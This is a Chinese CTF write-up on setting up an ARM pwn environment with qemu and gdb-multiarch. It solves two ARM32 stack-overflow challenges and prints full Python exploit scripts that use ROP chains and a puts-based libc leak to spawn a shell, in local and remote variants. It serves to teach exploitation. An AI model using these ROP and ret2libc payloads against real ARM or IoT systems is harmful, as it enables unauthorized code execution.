arm-Pwn环境搭建+简单题目

前言

起因是看到一篇IOT CVE的分析文章。

正好也在学pwn,arm架构的也是IOT这些固件最常用的,所以先安一个arm-pwn的环境。

环境搭建/调试

1. 安装 gdb-multiarch

bash 复制代码
sudo apt-get install gdb-multiarch

2. 安装qemu

ctf的arm_pwn只需要安装qemu-user就行了。

binfmt*是用来识别文件类型

bash 复制代码
sudo apt-get install qemu-user
sudo apt-get install qemu-user-binfmt
sudo apt-get install "binfmt*"

只用这两步就可以直接运行静态链接的arm程序。

jarvisoj typo为例

3. 动态链接的arm程序配置

查找:

bash 复制代码
apt search  "libc6-" | grep 'arm'

可以根据需要安装不同架构的库

对于arm32就是这个

bash 复制代码
sudo apt-get install libc6-armel-cross

4. 运行方式

-L 指定运行库,-g 指定端口

bash 复制代码
qemu-arm -L /usr/arm-linux-gnueabi ./cisn_en_1

5. 动态调试

安装过程问题不大,记录下调试。

这里没用pwntools,先用gdb端口来看:

bash 复制代码
gdb-multiarch
set architecture arm
target remote localhost:23333

然后另一个终端运行待调试程序

以静态链接的typo为例:

不需要-L指定动态链接库,-g指定端口。

bash 复制代码
qemu-arm -g 23333 ./typo

pwntools调试

如果用py脚本调试,就加上这句:

py 复制代码
p = process(['qemu-arm', '-L', '/usr/arm-linux-gnueabi','-g','23333', 'ciscn_en_1'])

然后一样的gdb-multiarch设置好

bash 复制代码
target remote localhost:23333

再运行python即可调试。

两道题目

拿两道arm32的题来熟悉一下。

javisoj-typo

题目链接

对于arm指令集,以前我一直认为下载的IDA是无法F5的。。。

结果

也就是只要ROM、RAM这些位置加载对了(ctf的pwn题的话一般不用自己找基址。。),IDA就能F5。。。

(当然要全插件版的IDA)

回到题目。

第一个arm_pwn

程序静态链接,无PIE,无canary。

直接rop system("/bin/sh")

注意下要先恢复符号,不然不一定找得到system。

主要就是对于arm指令集要稍微熟悉一点,知道r0和amd64的rdi是用于第一个参数传参就行。

然后arm指令集是由pop pc这种来控制指令流的。

填充完缓冲区后不需要覆盖"old_ebp"。

Exp:

py 复制代码
binsh = 0x0006C384
system = 0x110B4
# 0x00020904 : pop {r0, r4, pc}
r0_r4_pc = 0x00020904

pl = b'a'*112 + p32(r0_r4_pc) + p32(binsh) + p32(0) + p32(system)

sa("quit\n",b"\n")
sleep(0.3)
sl(pl)

p.interactive()

ciscn_2019_en_1

题目链接

动态链接,无PIE。

IDA看程序,

很明显的一个栈溢出。我们尝试ret2libc。

首先要寻找gadget。

而这里是找不到pop r0的,这也是本题的难点所在。

但我们可以通过这个地方的gadget来间接控制r0:

跟ret2csu很类似,我们首先传入POP {R4-R10,PC}的gadget,

这样我们就能控制R7,R3寄存器的值。

然后PC寄存器填上MOV R0.R7,也就是上面那个gadget的地址。

这样我们就能通过R7控制R0,通过R3控制BLX执行的函数了。

只是还有个问题,那个POP {R4-R10}其实没有R3。。

但我们可以找一个R3的gadget,比如

复制代码
0x000103a4 : pop {r3, pc}

来赋值R3,并且控制指令流。

具体到ret2libc流程来说,

复制代码
R7 = puts_got
PC = pop_r3_pc
R3 = puts_plt
PC = mov_r0_r7

就可以打印出puts的地址了。

泄露libc后就正常再打一遍system("/bin/sh")即可。

只是这里注意,我们不能像正常的ret2csu那样控制puts(puts_got)后返回的地址。。

所以打印完后程序会直接退出。

当然本地两次开process它们的基址是不变的,所以我们再process一个来getshell即可。

本地

Exp:

py 复制代码
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
vuln = 0x10590
pop_r3_pc = 0x000103a4
pop_r4_pc = 0x000104f8
pop_45678bl_pc = 0x00010638  # 
mov_r0r7_blxr3 = 0x00010628  # r7 -> r0


# puts_plt(puts_got)
pl = b'a'*0x24 + p32(pop_45678bl_pc)
pl += p32(0)*3 + p32(puts_got) # r7
pl += p32(0)*3 + p32(pop_r3_pc) # pc
pl += p32(puts_plt) # r3
pl += p32(mov_r0r7_blxr3) # pc


ru("name:\n\n")
#pause()
sl(pl)

ru('\n')
leak = u32(p.recv(4))
info_addr("puts_addr",leak)
libcbase = leak - libc.sym['puts']
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search("/bin/sh\x00"))

# getshell
p = process(['qemu-arm','-L', '/usr/arm-linux-gnueabi', 'ciscn_en_1'])
pl = b'a'*0x24 + p32(pop_45678bl_pc)
pl += p32(0)*3 + p32(binsh) # r7
pl += p32(0)*3 + p32(pop_r3_pc) # pc
pl += p32(system) # r3
pl += p32(mov_r0r7_blxr3) # pc
ru("name:\n\n")
pause()
sl(pl)


p.interactive()

远程

打远程的话就不能这么开两次process

所以对于那个类csu gadget利用顺序就要改一改了。

核心就是改顺序使得能控制puts(puts_got)后的返回地址。

顺序改为:

py 复制代码
padding
POP {R3,PC}
puts_plt # R3
POP {R4-R10,PC} # PC
p32(0)*3
puts_got # R7
p32(0)*3
MOV R0, R7 # PC

到这里的话就是第一遍gadget,类似csu的gadget1->gadget2

然后再次"滑"到gadget1的POP {R4-R10,PC}

我们就可以控制PC了。

py 复制代码
p32(0)*7
vuln_addr # PC

然后就是buu远程给的libc奇奇怪怪的。。。 好多偏移都不大对。。

自己调整一下,

两个地方:

py 复制代码
puts_got = 0x21010
libcbase = leak - 0x00047b30

远程的Exp:

py 复制代码
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
vuln = 0x10590
pop_r3_pc = 0x000103a4
pop_r4_pc = 0x000104f8
pop_45678bl_pc = 0x00010638  # 
mov_r0r7_blxr3 = 0x00010628  # r7 -> r0

info_addr("plt",puts_plt)
info_addr("got",puts_got)
# puts_plt(puts_got)
pl = b'a'*0x24 + p32(pop_r3_pc)
pl += p32(puts_plt) + p32(pop_45678bl_pc)
pl += p32(0)*3 + p32(0x21010)
pl += p32(0)*3 + p32(mov_r0r7_blxr3)
pl += p32(0)*7
pl += p32(vuln) # pc

ru("name:\n\n")
#pause()
sl(pl)

ru('\n')
leak = u32(p.recv(4))
info_addr("puts_addr",leak)
libcbase = leak - 0x00047b30
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search("/bin/sh\x00"))

# getshell
pl = b'a'*0x24 + p32(pop_45678bl_pc)
pl += p32(0)*3 + p32(binsh) # r7
pl += p32(0)*3 + p32(pop_r3_pc) # pc
pl += p32(system) # r3
pl += p32(mov_r0r7_blxr3) # pc
ru("name:\n\n")
pause()
sl(pl)


p.interactive()
相关推荐
天骄t29 分钟前
嵌入式系统与51单片机核心原理
linux·单片机·51单片机
阿部多瑞 ABU1 小时前
`chenmo` —— 可编程元叙事引擎 V2.3+
linux·人工智能·python·ai写作
徐同保2 小时前
nginx转发,指向一个可以正常访问的网站
linux·服务器·nginx
HIT_Weston2 小时前
95、【Ubuntu】【Hugo】搭建私人博客:_default&partials
linux·运维·ubuntu
实心儿儿2 小时前
Linux —— 基础开发工具5
linux·运维·算法
oMcLin2 小时前
如何在SUSE Linux Enterprise Server 15 SP4上通过配置并优化ZFS存储池,提升文件存储与数据备份的效率?
java·linux·运维
王阿巴和王咕噜6 小时前
【WSL】安装并配置适用于Linux的Windows子系统(WSL)
linux·运维·windows
布史7 小时前
Tailscale虚拟私有网络指南
linux·网络
水天需0107 小时前
shift 命令详解
linux
wdfk_prog7 小时前
[Linux]学习笔记系列 -- 内核支持与数据
linux·笔记·学习